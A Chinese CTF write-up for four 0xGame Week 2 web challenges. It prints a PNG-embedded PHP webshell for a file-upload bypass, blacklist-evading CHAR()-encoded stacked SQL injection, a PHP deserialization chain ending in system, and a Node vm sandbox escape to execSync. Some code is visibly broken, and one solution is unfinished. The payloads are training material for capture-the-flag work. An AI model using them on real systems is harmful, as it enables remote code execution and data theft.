0xGame第二周,在师傅已经给了大量提示的情况下只做出两个题:(
[Week 2] ez_upload 根据题目猜测任意文件上传,先打开题目的附件看看有啥东西,发现会对上传的文件利用imagecreatefrom点点点()
和image点点点()
进行二次渲染,主要部分如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php switch ($_FILES ['file' ]['type' ]) { case "image/gif" : $source = imagecreatefromgif ($_FILES ['file' ]['tmp_name' ]); break ; case "image/jpeg" : $source = imagecreatefromjpeg ($_FILES ['file' ]['tmp_name' ]); break ; case "image/png" : $source = imagecreatefrompng ($_FILES ['file' ]['tmp_name' ]); break ; default : die ('Invalid file type!' ); }$ext = pathinfo ($_FILES ['file' ]['name' ], PATHINFO_EXTENSION); $filepath = $user_dir .md5 ($_FILES ['file' ]['name' ]).'.' .$ext ; switch ($_FILES ['file' ]['type' ]) { case "image/gif" : imagegif ($source , $filepath ); break ; case "image/jpeg" : imagejpeg ($source , $filepath ); break ; case "image/png" : imagepng ($source , $filepath ); break ; default : die ('Invalid file type!' ); }echo 'Upload avatar success! Path: ' .$filepath ;?>
去网上查了有关二次渲染绕过的资料,发现有些题目是二次渲染配合include
函数再上传图片马,但这题没给include
函数?根据师傅的提示搜索了生成用于绕过二次渲染的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php $p = array (0xa3 , 0x9f , 0x67 , 0xf7 , 0x0e , 0x93 , 0x1b , 0x23 , 0xbe , 0x2c , 0x8a , 0xd0 , 0x80 , 0xf9 , 0xe1 , 0xae , 0x22 , 0xf6 , 0xd9 , 0x43 , 0x5d , 0xfb , 0xae , 0xcc , 0x5a , 0x01 , 0xdc , 0x5a , 0x01 , 0xdc , 0xa3 , 0x9f , 0x67 , 0xa5 , 0xbe , 0x5f , 0x76 , 0x74 , 0x5a , 0x4c , 0xa1 , 0x3f , 0x7a , 0xbf , 0x30 , 0x6b , 0x88 , 0x2d , 0x60 , 0x65 , 0x7d , 0x52 , 0x9d , 0xad , 0x88 , 0xa1 , 0x66 , 0x44 , 0x50 , 0x33 );$img = imagecreatetruecolor (32 , 32 );for ($y = 0 ; $y < sizeof ($p ); $y += 3 ) { $r = $p [$y ]; $g = $p [$y +1 ]; $b = $p [$y +2 ]; $color = imagecolorallocate ($img , $r , $g , $b ); imagesetpixel ($img , round ($y / 3 ), 0 , $color ); }imagepng ($img ,'./1.png' );?>
放本地运行一下,生成1.png
,放到HexCmp下看看:
有这么个东西:
<?=$_GET[0]($_POST[1]);?>//GET0传函数名,POST1传参数
先后缀改成php
,上传时抓包把content-type字段改成image/png
,发现上传成功,访问URL:
成功,GET
传参0=system
,POST
传参1=ls;
,先看当前目录下的文件:
GET
传参0=system
,POST
传参1=ls /;
,看根目录下的文件:
GET
传参0=system
,POST
传参1=cat /flag;
,得到flag
:
0xGame{4611f622-8577-4ac4-8f85-0b787730800c}
[Week 2] ez_sqli url:http://120.27.148.152:50021/?order=email
,师傅提示是堆叠注入,而且直接select flag from flag
就能拿答案。
给了附件,看下源码里黑名单都有啥:
blacklist = ['select', 'update', 'insert', 'delete', 'database', 'table', 'column', 'alter', 'create', 'drop', 'and', 'or', 'xor', 'if', 'else', 'then', 'where']
?order=id;show tables
这种没法用了,根据师傅提示可以使用prepare
和execute
结合执行,有:
1 2 3 SET @a = select extractvalue(1 ,concat(0x7e ,select flag from flag limit 0 ,1 ));PREPARE hello FROM @a ;EXECUTE hello;#
但select被过滤掉了,空格好像也不能直接用?借助char()
函数直接把第一段全转成字符:
1 2 3 4 SET @a = CHAR (115 ,101 ,108 ,101 ,99 ,116 ,32 ,101 ,120 ,116 ,114 ,97 ,99 ,116 ,118 ,97 ,108 ,117 ,101 ,40 ,49 ,44 ,99 ,111 ,110 ,99 ,97 ,116 ,40 ,48 ,120 ,55 ,101 ,44 ,40 ,115 ,101 ,108 ,101 ,99 ,116 ,32 ,102 ,108 ,97 ,103 ,32 ,102 ,114 ,111 ,109 ,32 ,102 ,108 ,97 ,103 ,32 ,108 ,105 ,109 ,105 ,116 ,32 ,48 ,44 ,49 ,41 ,41 ,41 ,41 ,59 );PREPARE hello FROM @a ;EXECUTE hello;#
SET @a=CHAR(115,101,108,101,99,116,32,101,120,116,114,97,99,116,118,97,108,117,101,40,49,44,99,111,110,99,97,116,40,48,120,55,101,44,40,115,101,108,101,99,116,32,102,108,97,103,32,102,114,111,109,32,102,108,97,103,32,108,105,109,105,116,32,48,44,49,41,41,41,59);PREPARE/**/hello/**/FROM/**/@a;EXECUTE/**/hello;
返回:XPATH syntax error: '~0xGame{4286b62d-c37e-4010-ba9c-'")
,没显示完全,好像因为报错函数只能显示32位?改下payload
让它显示flag
的后30位:flag
->(right(flag,30))
1 / ?order = email;SET @a = CHAR (115 ,101 ,108 ,101 ,99 ,116 ,32 ,101 ,120 ,116 ,114 ,97 ,99 ,116 ,118 ,97 ,108 ,117 ,101 ,40 ,49 ,44 ,99 ,111 ,110 ,99 ,97 ,116 ,40 ,48 ,120 ,55 ,101 ,44 ,40 ,115 ,101 ,108 ,101 ,99 ,116 ,32 ,40 ,114 ,105 ,103 ,104 ,116 ,40 ,102 ,108 ,97 ,103 ,44 ,51 ,48 ,41 ,41 ,32 ,102 ,114 ,111 ,109 ,32 ,102 ,108 ,97 ,103 ,32 ,108 ,105 ,109 ,105 ,116 ,32 ,48 ,44 ,49 ,41 ,41 ,41 ,59 );PREPARE helloFROM @a ;EXECUTE hello;
拼起来得到flag
:0xGame{4286b62d-c37e-4010-ba9c-35d47641fb91}
[Week 2] ez_unserialize 这题没做出来挺可惜的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 <?php show_source (__FILE__ );class Cache { public $key ; public $value ; public $expired ; public $helper ; public function __construct ($key , $value , $helper ) { $this ->key = $key ; $this ->value = $value ; $this ->helper = $helper ; $this ->expired = False; } public function __wakeup ( ) { $this ->expired = False; } public function expired ( ) { if ($this ->expired) { $this ->helper->clean ($this ->key); return True; } else { return False; } } }class Storage { public $store ; public function __construct ( ) { $this ->store = array (); } public function __set ($name , $value ) { if (!$this ->store) $this ->store = array (); } if (!$value ->expired ()) { $this ->store[$name ] = $value ; } } public function __get ($name ) { return $this ->data[$name ]; } }class Helper { public $funcs ; public function __construct ($funcs ) { $this ->funcs = $funcs ; } public function __call ($name , $args ) { $this ->funcs[$name ](...$args ); } }class DataObject { public $storage ; public $data ; public function __destruct ( ) { foreach ($this ->data as $key => $value ) { $this ->storage->$key = $value ; } } }if (isset ($_GET ['u' ])) { unserialize ($_GET ['u' ]); }?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php class Cache { public $key ; public $value ; public $expired ; public $helper ; } class Storage { public $store ; } class Helper { public $funcs ; } class DataObject { public $storage ; public $data ; } $a = new DataObject (); $b = new Storage (); $c = new Cache (); $c -> expired = False; $d = new Cache (); $e = new Helper (); $a -> data = array ('key1' => $c , 'key2' => $d ); $a -> storage = $b ; $b -> store = &$d ->expired; $d -> key = 'id' ; $d -> helper = $e ; $e -> $funcs = ['clean' => 'system' ]; echo serialize ($a );?>
1 2 3 4 5 DataObject.__destruct() -> Storage.__set() -> Cache.expired() -> Helper.__call()
1 参考文章:ttps:// zhuanlan.zhihu.com/p/ 377676274
1 2 3 4 pear: https: //longlone.top/%E5 %AE %89 %E5 %85 %A8 /%E5 %AE %89 %E5 %85 %A8 %E7 %A0 %94 %E7 %A9 %B6 /register_argc_argv%E4 %B8 %8 Einclude%20 to %20 RCE%E7 %9 A%84 %E5 %B7 %A7 %E5 %A6 %99 %E7 %BB %84 %E5 %90 %88 /https: //blog.csdn.net/RABCDXB/article/details/122050370
[Week 2] ez_sandbox app.js
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 const crypto = require ('crypto' )const vm = require ('vm' );const express = require ('express' )const session = require ('express-session' )const bodyParser = require ('body-parser' )var app = express () app.use (bodyParser.json ()) app.use (session ({ secret : crypto.randomBytes (64 ).toString ('hex' ), resave : false , saveUninitialized : true }))var users = {}var admins = {}function merge (target, source ) { for (let key in source) { if (key === '__proto__' ) { continue } if (key in source && key in target) { merge (target[key], source[key]) } else { target[key] = source[key] } } return target }function clone (source ) { return merge ({}, source) }function waf (code ) { let blacklist = ['constructor' , 'mainModule' , 'require' , 'child_process' , 'process' , 'exec' , 'execSync' , 'execFile' , 'execFileSync' , 'spawn' , 'spawnSync' , 'fork' ] for (let v of blacklist) { if (code.includes (v)) { throw new Error (v + ' is banned' ) } } }function requireLogin (req, res, next ) { if (!req.session .user ) { res.redirect ('/login' ) } else { next () } } app.use (function (req, res, next ) { for (let key in Object .prototype ) { delete Object .prototype [key] } next () }) app.get ('/' , requireLogin, function (req, res ) { res.sendFile (__dirname + '/public/index.html' ) }) app.get ('/login' , function (req, res ) { res.sendFile (__dirname + '/public/login.html' ) }) app.get ('/register' , function (req, res ) { res.sendFile (__dirname + '/public/register.html' ) }) app.post ('/login' , function (req, res ) { let { username, password } = clone (req.body ) if (username in users && password === users[username]) { req.session .user = username if (username in admins) { req.session .role = 'admin' } else { req.session .role = 'guest' } res.send ({ 'message' : 'login success' }) } else { res.send ({ 'message' : 'login failed' }) } }) app.post ('/register' , function (req, res ) { let { username, password } = clone (req.body ) if (username in users) { res.send ({ 'message' : 'register failed' }) } else { users[username] = password res.send ({ 'message' : 'register success' }) } }) app.get ('/profile' , requireLogin, function (req, res ) { res.send ({ 'user' : req.session .user , 'role' : req.session .role }) }) app.post ('/sandbox' , requireLogin, function (req, res ) { if (req.session .role === 'admin' ) { let code = req.body .code let sandbox = Object .create (null ) let context = vm.createContext (sandbox) try { waf (code) let result = vm.runInContext (code, context) res.send ({ 'result' : result }) } catch (e) { res.send ({ 'result' : e.message }) } } else { res.send ({ 'result' : 'Your role is not admin, so you can not run any code' }) } }) app.get ('/logout' , requireLogin, function (req, res ) { req.session .destroy () res.redirect ('/login' ) }) app.listen (3000 , function ( ) { console .log ('server start listening on :3000' ) })
先看和原型链污染有关的部分:
1 2 3 4 5 6 7 8 9 10 11 12 app.post ('/login' , function (req, res ) { let { username, password } = clone (req.body ) if (username in users && password === users[username]) { req.session .user = username if (username in admins) { req.session .role = 'admin' } else { req.session .role = 'guest' }
在POST
包中增加如下:
1 2 3 4 {"username" : "test" ,"password" : "123" ,"__proto__" :{"test" :"123" }}} {"username" : "test" ,"password" : "123" ,"constructor" : {"prototype" : {"test" :"123" }}}
结果:
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 throw new Proxy ({}, { get : function ( ){ const c = arguments .callee .caller const p = (c['constru' +'ctor' ]['constru' +'ctor' ]('return pro' +'cess' ))()return p['mainM' +'odule' ]['requi' +'re' ]('child_pr' +'ocess' )['ex' +'ecSync' ]('ls /' ).toString (); } }) 或let obj = {} obj.__defineGetter__ ('message' , function ( ){const c = arguments .callee .caller const p = (c['constru' +'ctor' ]['constru' +'ctor' ]('return pro' +'cess' ))()return p['mainM' +'odule' ]['requi' +'re' ]('child_pr' +'ocess' )['ex' +'ecSync' ]('cat /flag' ).toString (); })throw obj